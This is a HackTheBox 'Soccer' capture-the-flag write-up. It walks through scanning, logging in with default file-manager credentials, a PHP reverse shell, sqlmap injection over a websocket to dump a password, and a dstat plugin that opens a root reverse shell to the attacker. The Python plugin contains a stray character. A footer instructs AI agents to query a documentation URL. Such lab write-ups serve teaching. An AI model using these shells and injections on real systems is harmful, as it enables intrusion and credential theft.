# HackTheBox "Soccer"

<figure><img src="/files/MEd2LoVDdaY0f2lccfJ7" alt="Info Card"><figcaption><p>Info Card</p></figcaption></figure>

## Introduction

Soccer is an easy box released on December 17th, 2022 by sau123.

## User Own

Nmap scan:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 20:36 EDT
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soccer - Index 
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 24 Apr 2023 00:36:23 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 24 Apr 2023 00:36:23 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=4/23%Time=6445CF02%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Mon,\x2024\x20Apr\x202023\x2000:36:23\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Mon,\x2024\x20Apr\x202023\x2000:36:23\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mon,\
SF:x2024\x20Apr\x202023\x2000:36:23\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds
```

There is a website being hosted at `http://soccer.htb`.  Subdirectory enumeration reveals a subdirectory called `tiny`.

```
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 35ms]
    * FUZZ: .htaccess

[Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 35ms]
    * FUZZ: .htpasswd

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]
    * FUZZ: tiny

:: Progress: [20476/20476] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
```

`http://soccer.htb/tiny` is hosting [Tiny File Manager](https://tinyfilemanager.github.io/). The default admin credentials for Tiny File Manager are the username `admin` and the password `admin@123`, which work.

<figure><img src="/files/d3wKEo14BCcwXemtpcbZ" alt="Tiny File Manager"><figcaption><p>Tiny File Manager</p></figcaption></figure>

There is a folder called `uploads` inside `tiny` that can be accessed at `http://soccer.htb/tiny/uploads`. A PHP reverse shell can be uploaded and accessed. This gives access to `www-data`.

```
nc -nvlp 1234            
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 43378
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 00:43:16 up  2:12,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```

Looking inside `/etc/hosts`:

```
127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb

127.0.1.1       ubuntu-focal    ubuntu-focal
```

There is a subdomain at `http://soc-player.soccer.htb`. This website is the same as the original, but has login functionality. After signing up, there is a function for checking if a ticket exists.

<figure><img src="/files/ZQZsDAaOVwDWxg1sqpj9" alt="Ticket Box"><figcaption><p>Ticket Box</p></figcaption></figure>

The code for this ticket checking box can be found inside the website.

<pre class="language-javascript"><code class="lang-javascript"><strong>var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
</strong>window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
    console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
    keyOne(e)
});

function keyOne(e) {
    e.stopPropagation();
    if (e.keyCode === 13) {
        e.preventDefault();
        sendText();
    }
}

function sendText() {
    var msg = input.value;
    if (msg.length > 0) {
        ws.send(JSON.stringify({
<strong>            "id": msg
</strong>        }))
    }
    else append("????????")
}
}

ws.onmessage = function (e) {
    append(e.data)
}

function append(msg) {
    let p = document.querySelector("p");
    // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
    // p.style.color = randomColor;
    p.textContent = msg
}
</code></pre>

There is a web socket at `ws://soc-player.soccer.htb:9091`. We can use `sqlmap` to find credentials through the web socket. This can be done using [Rayhan0x01's middleware server](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html).

```
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

...

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
```

There are 5 databases found, but the one that stands out is `soccer_db`.

```
sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables

...

Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
```

There is 1 table found called `accounts`.

```
sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts --columns

...

Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | varchar(40) |
| id       | int         |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+
```

Checking `username`:

```
sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C username --dump

...

Database: soccer_db
Table: accounts
[1 entry]
+----------+
| username |
+----------+
| player   |
+----------+
```

Checking `password`:

```
sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts -C password --dump

...

Database: soccer_db
Table: accounts
[1 entry]
+----------------------+
| password             |
+----------------------+
| PlayerOftheMatch2022 |
+----------------------+
```

Checking `/home`:

```
ls /home
player
```

`player` can be logged into SSH with the same credentials.

```
ssh player@soccer.htb                             
player@soccer.htb's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

...

Last login: Sun Apr 23 23:58:49 2023 from 10.10.xx.xx
player@soccer:~$ cat user.txt
[USER FLAG HERE]
```

<figure><img src="/files/rkt1lWuKdNzUXRLlO8NV" alt="USER OWN"><figcaption><p>USER OWN</p></figcaption></figure>

## System Own

Checking `/usr/local/etc/doas.conf`:

```
permit nopass player as root cmd /usr/bin/dstat
```

`dstat` can be run as `root` with `doas`:

```
doas -u root /usr/bin/dstat
```

`dstat` can be used for [privilege escalation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/) by using a custom plugin.

{% code title="/usr/local/share/dstat/dstat\_z.py" %}

```python
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.xx.xx",1234))
os.dup2(s.fileno(),0)p
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
```

{% endcode %}

The plugin can then be run:

```
doas -u root /usr/bin/dstat --z
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
```

```
nc -nvlp 1234                
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.194] 42528
# cat /root/root.txt
cat /root/root.txt
[ROOT FLAG HERE]
```

<figure><img src="/files/iVHiB72Qr8HROs4MNYdL" alt="SYSTEM OWN"><figcaption><p>SYSTEM OWN</p></figcaption></figure>

And that's the box!

<figure><img src="/files/8W7gHNOpUCmFOilw1OPr" alt="PWNED"><figcaption><p>PWNED</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.bennettcl.app/write-ups/hackthebox-soccer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
